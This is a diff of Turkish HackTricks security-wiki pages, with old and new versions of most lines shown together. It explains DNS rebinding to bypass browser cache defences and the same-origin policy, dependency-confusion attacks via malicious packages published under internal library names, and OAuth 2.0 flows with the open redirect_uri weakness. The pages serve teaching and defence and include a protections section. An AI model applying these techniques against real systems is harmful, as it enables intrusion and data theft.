2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve önbelleğe alınan saldırgan sunucu adını siler.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve bu şekilde önbelleğe alınan saldırgan sunucu adını siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar yapmaz, artık genellikle yerel ana bilgisayarı işaret eden IP adresi 127.0.0.1 ile yanıtlanır.
Hizmet işçisi ile DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünür.
Hizmet işçisi aracılığıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünmesini sağlar.
### DNS Rebinding Aracılığıyla **Önbellek**
Önbellek savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresini kullanmaktır. Nasıl çalıştığını aşağıda bulabilirsiniz:
1. Saldırgan, aynı alt alan adı için DNS sağlayıcısında iki A kaydı (veya iki IP'li tek bir A kaydı) oluşturur.
2. Tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı saldırganın IP adresini ilk olarak kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir.
4. Ancak saldırgan, kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
5. Tarayıcı, alan adının yanıt vermediğini fark edince, ikinci verilen IP adresini kullanmaya devam eder.
6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikasını (SOP) atlar ve saldırgan bu durumu kötüye kullanarak kurbandan bilgi toplayabilir ve dışarıya çıkarabilir.
1. Saldırgan, aynı alt alan adı için DNS sağlayıcısında iki A kaydı (veya iki IP'li tek bir A kaydı) ayarlar.
2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı, önce saldırganın IP adresini kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir.
4. Ancak, saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
5. Tarayıcı, alan adının yanıt vermediğini fark edince, ikinci verilen IP adresini kullanmaya geçer.
6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikası'nı (SOP) atlar ve saldırganın bunu kötüye kullanarak kurbandan bilgi toplamasına ve dışarıya çıkarmasına olanak tanır.
Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi kötüye kullanabilir ve kurbandan bilgiye erişebilir.
{% hint style="warning" %}
Localhost'a erişmek için Windows'ta **127.0.0.1** ve linux'ta **0.0.0.0**'ı yeniden bağlamayı denemelisiniz.\
Godaddy veya cloudflare gibi sağlayıcılar, 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, 2 IP'den birinin "0.0.0.0" olduğu bir A kaydı oluşturmama izin verdi.
Godaddy veya cloudflare gibi sağlayıcılar, 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, 2 IP'li bir A kaydı oluşturmama izin verdi ve bunlardan biri "0.0.0.0" idi.
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
{% endhint %}
Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) adresini kontrol edebilirsiniz.
Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) adresine bakabilirsiniz.
### Diğer Yaygın Atlatmalar
* **Dahili IP'ler izin verilmiyorsa**, **0.0.0.0 yasağı unutulmuş olabilir** (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa**, **localhost için bir CNAME** ile yanıt ver (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetler için CNAME'ler** yanıtlayabilirsiniz.
* **Dahili IP'ler izin verilmiyorsa**, muhtemelen **0.0.0.0 yasağı unutulmuş olabilir** (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa**, **localhost** için bir **CNAME** ile yanıt verin (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetlere CNAME'ler** yanıtlayabilirsiniz.
### DNS Yeniden Hedefleme Silahlandırılmış
Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı [Gerald Doussot - DNS Rebinding Saldırılarının Durumu ve Kökenin Tekliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) adlı sunumda bulabilirsiniz.
Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı [Gerald Doussot - DNS Rebinding Saldırılarının Durumu ve Kökenin Tekliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) konuşmasında bulabilirsiniz.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden hedeflemek ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
### DNS Yeniden Hedefleme Karşı Gerçek Koruma
### DNS Yeniden Hedefleme Karşısında Gerçek Koruma
* Dahili hizmetlerde TLS kullanın
* Verilere erişim için kimlik doğrulaması isteyin
* Verilere erişim için kimlik doğrulama isteyin
* Host başlığını doğrulayın
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir ön uçuş isteği gönderilmesini öneren bir teklif
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir önceden uçuş isteği gönderilmesini öneren bir teklif
## **Araçlar**
**CORS politikalarındaki olası yapılandırma hatalarını tarama**
**CORS politikalarındaki olası yapılandırma hatalarını test edin**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -380,7 +382,7 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -388,12 +390,12 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -4,59 +4,59 @@
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklam görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak** [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
Özetle, bir bağımlılık karışıklığı zafiyeti, bir proje **yanlış yazılmış** bir kütüphaneyi kullandığında, **mevcut olmayan** veya **belirtilmemiş bir sürümle** ve kullanılan bağımlılık deposunun **güncellenmiş sürümleri toplamaya izin verdiğinde** meydana gelir.
Özetle, bir bağımlılık karışıklığı zafiyeti, bir proje **yanlış yazılmış** bir kütüphaneyi kullandığında, **var olmayan** veya **belirtilmemiş bir sürümle** ve kullanılan bağımlılık deposunun **güncellenmiş sürümleri toplamaya izin verdiğinde** meydana gelir.
* **Yanlış yazılmış**: `requests` yerine **`reqests`** içe aktar
* **Mevcut olmayan**: Artık **mevcut olmayan** iç bir kütüphane olan `company-logging`i içe aktar
* **Belirtilmemiş sürüm**: **Mevcut** **iç** `company-requests` kütüphanesini içe aktar, ancak depo **genel depoları** kontrol ederek **daha büyük sürümlerin** olup olmadığını kontrol eder.
* **Var olmayan**: Artık **var olmayan** bir iç kütüphane olan `company-logging`i içe aktar
* **Belirtilmemiş sürüm**: **Var olan** iç `company-requests` kütüphanesini içe aktar, ancak depo **genel depolardan daha büyük sürümler** var mı diye kontrol eder.
## Sömürü
{% hint style="warning" %}
Tüm durumlarda saldırganın sadece kurban şirketin kullandığı kütüphanelerin **adını taşıyan zararlı bir paket yayınlaması** yeterlidir.
Tüm durumlarda saldırganın sadece kurban şirketin kullandığı kütüphanelerin adını taşıyan **kötü amaçlı bir paket yayınlaması yeterlidir**.
{% endhint %}
### Yanlış Yazılmış & Mevcut Olmayan
### Yanlış Yazılmış & Var Olmayan
Şirketinizin **iç olmayan bir kütüphaneyi içe aktarmaya çalıştığında**, kütüphanelerin deposunun bunu **genel depolarda arayacağı** oldukça olasıdır. Eğer bir saldırgan bunu oluşturduysa, kodunuz ve çalışan makineleriniz büyük olasılıkla tehlikeye girecektir.
Şirketinizin **iç olmayan bir kütüphaneyi içe aktarmaya çalıştığında**, kütüphanelerin deposunun bunu **genel depolarda arayacağı** oldukça olasıdır. Bir saldırgan bunu oluşturduysa, kodunuz ve çalışan makineleriniz büyük olasılıkla tehlikeye girecektir.
### Belirtilmemiş Sürüm
Geliştiricilerin kütüphanenin sürümünü **belirtmemesi** veya sadece bir **ana sürümü belirtmesi** çok yaygındır. Ardından, yorumlayıcı bu gereksinimleri karşılayan **en son sürümü indirmeye çalışacaktır**.\
Eğer kütüphane **bilinen harici bir kütüphane** ise (örneğin python `requests`), bir **saldırgan pek bir şey yapamaz**, çünkü `requests` adında bir kütüphane oluşturamaz (orijinal yazar değilse).\
Ancak, kütüphane **iç** ise, bu örnekte olduğu gibi `requests-company`, eğer **kütüphane deposu** dışarıdan **yeni sürümleri de kontrol etmeye izin veriyorsa**, genelde bulunan yeni bir sürüm arayacaktır.\
Bu nedenle, bir **saldırganın** şirketin `requests-company` kütüphanesini **1.0.1 sürümü** olarak kullandığını **bildiğini varsayalım** (küçük güncellemelere izin verir). O, `requests-company` kütüphanesini **1.0.2 sürümüyayınlayabilir** ve şirket **iç kütüphanenin yerine bu kütüphaneyi kullanacaktır**.
Geliştiricilerin kütüphanenin sürümünü **belirtmemesi** veya sadece bir **ana sürümü belirtmesi** oldukça yaygındır. Ardından, yorumlayıcı bu gereksinimleri karşılayan **en son sürümü indirmeye çalışacaktır**.\
Eğer kütüphane **bilinen harici bir kütüphane** ise (örneğin python `requests`), bir **saldırgan pek bir şey yapamaz**, çünkü `requests` adında bir kütüphane oluşturamaz (asıl yazar değilse).\
Ancak, kütüphane **içsel** ise, bu örnekte olduğu gibi `requests-company` gibi, eğer **kütüphane deposu** dışarıdan da **yeni sürümleri kontrol etmeye izin veriyorsa**, genelde bulunan daha yeni bir sürüm arayacaktır.\
Bu nedenle, bir **saldırganın** şirketin `requests-company` kütüphanesini **1.0.1 sürümü** olarak kullandığını **bildiğini varsayalım** (küçük güncellemelere izin verir). O, `requests-company` kütüphanesini **1.0.2 sürümü** olarak **yayınlayabilir** ve şirket **iç kütüphanenin yerine bu kütüphaneyi kullanacaktır**.
## AWS Düzeltme
## AWS Düzeltmesi
Bu zafiyet, AWS **CodeArtifact**'da bulundu (detayları [**bu blog yazısında**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) okuyun).\
AWS, iç bağımlılıkların dış depolardan indirilmesini önlemek için bir kütüphanenin içsel veya harici olup olmadığını belirtmeye izin vererek bunu düzeltti.
Bu zafiyet, AWS **CodeArtifact**'ta bulundu (detayları [**bu blog yazısında**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) okuyun).\
AWS, iç bağımlılıkları dış depolardan indirmeyi önlemek için bir kütüphanenin içsel veya harici olup olmadığını belirtmeye izin vererek bunu düzeltti.
## Zafiyetli Kütüphanelerin Bulunması
[**Bağımlılık karışıklığı hakkındaki orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, binlerce açıkta kalan package.json dosyasını arayarak javascript projelerinin bağımlılıklarını aradı.
[**Bağımlılık karışıklığı hakkındaki orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, binlerce açıkta kalan package.json dosyasını arayarak JavaScript projelerinin bağımlılıklarını buldu.
## Referanslar
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -64,10 +64,10 @@ AWS, iç bağımlılıkların dış depolardan indirilmesini önlemek için bir
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklam görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak** [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
</details>

View file

@ -2,42 +2,42 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler <a href="#d4a8" id="d4a8"></a>
OAuth, [OAuth 2.0 belgelerinde](https://oauth.net/2/) erişilebilen çeşitli sürümler sunar. Bu tartışma genellikle yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu tahsis türü](https://oauth.net/2/grant-types/authorization-code/) üzerinde odaklanır, bir **uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesine veya işlem yapmasına olanak tanıyan bir yetkilendirme çerçevesi sağlar** (yetkilendirme sunucusu).
OAuth, [OAuth 2.0 belgelerinde](https://oauth.net/2/) erişilebilir temel bilgilerle birlikte çeşitli sürümler sunar. Bu tartışma genellikle yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu tahsis türü](https://oauth.net/2/grant-types/authorization-code/) üzerinde odaklanır, bir **uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesine veya işlem yapmasına olanak tanıyan bir yetkilendirme çerçevesi** sağlar (yetkilendirme sunucusu).
Hayali bir web sitesini düşünün _**https://ornek.com**_, tüm sosyal medya gönderilerinizi, özel olanlar da dahil olmak üzere **sergilemek için tasarlanmıştır**. Bunu başarmak için OAuth 2.0 kullanılır. _https://ornek.com_, **sosyal medya gönderilerinize erişim izni** isteyecektir. Sonuç olarak, _https://sosyalmedya.com_ üzerinde bir onay ekranı belirecek ve **istenen izinler ile istekte bulunan geliştirici** belirtilecektir. Onayınızın ardından, _https://ornek.com_, **gönderilerinize sizin adınıza erişme yeteneği kazanır**.
Hayali bir web sitesini düşünün _**https://ornek.com**_, tüm sosyal medya gönderilerinizi, özel olanları da dahil olmak üzere **sergilemek için tasarlanmıştır**. Bunu başarmak için OAuth 2.0 kullanılır. _https://ornek.com_, **sosyal medya gönderilerinize erişim izni** isteyecektir. Sonuç olarak, _https://sosyalmedya.com_ üzerinde bir onay ekranı belirecek ve **istenen izinler ve istekte bulunan geliştirici** belirtilecektir. Onayınızın ardından, _https://ornek.com_, **gönderilerinize sizin adınıza erişme yeteneği kazanır**.
OAuth 2.0 çerçevesi içinde aşağıdaki bileşenleri anlamanız önemlidir:
- **kaynak sahibi**: Siz, **kullanıcı/öğe** olarak, sosyal medya hesabınızın gönderilerine erişim izni verirsiniz.
- **kaynak sunucusu**: Uygulama, `erişim belirteci`ni `kaynak sahibi` adına aldıktan sonra kimlik doğrulama isteklerini yöneten **sunucu**, örneğin **https://sosyalmedya.com**.
- **kaynak sunucusu**: Uygulama, `kaynak sahibi` adına bir `erişim belirteci` aldıktan sonra kimlik doğrulaması yapılan istekleri yöneten **sunucu**, örneğin **https://sosyalmedya.com**.
- **istemci uygulaması**: `kaynak sahibi`nden yetki isteyen **uygulama**, örneğin **https://ornek.com**.
- **yetkilendirme sunucusu**: `kaynak sahibi`nin başarılı kimlik doğrulamasını ve yetkilendirmeyi sağladıktan sonra `erişim belirteçlerini` `istemci uygulamasına` veren **sunucu**, örneğin **https://sosyalmedya.com**.
- **yetkilendirme sunucusu**: `kaynak sahibi`nin başarılı kimlik doğrulamasını ve yetkilendirmeyi sağladıktan sonra `istemci uygulamasına erişim belirteçleri` veren **sunucu**, örneğin **https://sosyalmedya.com**.
- **client\_id**: Uygulama için genel, benzersiz bir tanımlayıcı.
- **client\_secret:** Yalnızca uygulama ve yetkilendirme sunucusu tarafından bilinen gizli bir anahtar, `erişim belirteçleri` oluşturmak için kullanılır.
- **response\_type**: İstenen **token türünü belirten** bir değer, örneğin `code`.
- **scope**: `istemci uygulamasının` `kaynak sahibinden` istediği **erişim seviyesi**.
- **scope**: `istemci uygulamasının` `kaynak sahibinden` istediği **erişim düzeyi**.
- **redirect\_uri**: Yetkilendirme sonrası kullanıcının yönlendirileceği **URL**. Genellikle önceden kayıtlı yönlendirme URL'siyle uyumlu olmalıdır.
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilirken ve oradan geri dönerken **verileri korumak için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet etmesi için önemlidir.
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi ve oradan geri dönmesi sırasında verileri **saklamak için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet etmesi için önemlidir.
- **grant\_type**: **Tahsis türünü ve döndürülecek token türünü belirten** bir parametre.
- **code**: `yetkilendirme sunucusundan` alınan yetkilendirme kodu, `istemci uygulaması` tarafından `client_id` ve `client_secret` ile birlikte kullanılarak `erişim belirteci` elde etmek için kullanılır.
- **code**: `yetkilendirme sunucusundan` alınan yetkilendirme kodu, `istemci uygulaması` tarafından `client_id` ve `client_secret` ile birlikte kullanılarak bir `erişim belirteci` almak için kullanılır.
- **access\_token**: `istemci uygulamasının` API isteklerinde kullanacağı **token** `kaynak sahibi` adına.
- **refresh\_token**: Uygulamanın **kullanıcıya tekrar soru sormadan yeni bir `erişim belirteci` almasını sağlar**.
@ -46,7 +46,7 @@ OAuth 2.0 çerçevesi içinde aşağıdaki bileşenleri anlamanız önemlidir:
**Gerçek OAuth akışı** şu şekilde devam eder:
1. [https://ornek.com](https://ornek.com) adresine giderek "Sosyal Medya ile Entegre Ol" düğmesini seçersiniz.
2. Site, ardından https://ornek.com'un uygulamasının gönderilerinize erişmesine izin vermeniz için [https://sosyalmedya.com](https://sosyalmedya.com) adresine bir istek gönderir. İstek şu şekilde yapılandırılmıştır:
2. Site daha sonra, https://ornek.com'un uygulamasının gönderilerinize erişmesine izin vermeniz için [https://sosyalmedya.com](https://sosyalmedya.com) adresine bir istek gönderir. İstek şu şekilde yapılandırılmıştır:
```
https://socialmedia.com/auth
?response_type=code
@ -61,29 +61,29 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com, bu `code`'u, `client_id` ve `client_secret`'ı birlikte kullanarak sizin adınıza bir sunucu tarafı isteği yapar ve sizin onayladığınız izinlere erişim sağlayan bir `access_token` alır:
5. https://example.com, sizin adınıza bir `access_token` almak için bu `code`'u, birlikte `client_id` ve `client_secret`'ını kullanır, böylece sizin onayladığınız izinlere erişim sağlar:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Son olarak, işlem, https://example.com'un `access_token`'ını kullanarak bir API çağrısı yaparak Sosyal Medya'ya erişir.
6. Son olarak, işlem https://example.com'un `access_token`'ını kullanarak bir API çağrısı yaparak Sosyal Medya'ya erişir.
## Zafiyetler <a href="#323a" id="323a"></a>
## Zayıflıklar <a href="#323a" id="323a"></a>
### Açık redirect\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik açısından önemlidir, çünkü hassas verileri, örneğin yetkilendirme kodlarını, yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırılmışsa, saldırganların bu istekleri kötü amaçlı sunuculara yönlendirmesine izin vererek hesap ele geçirmesine olanak tanıyabilir.
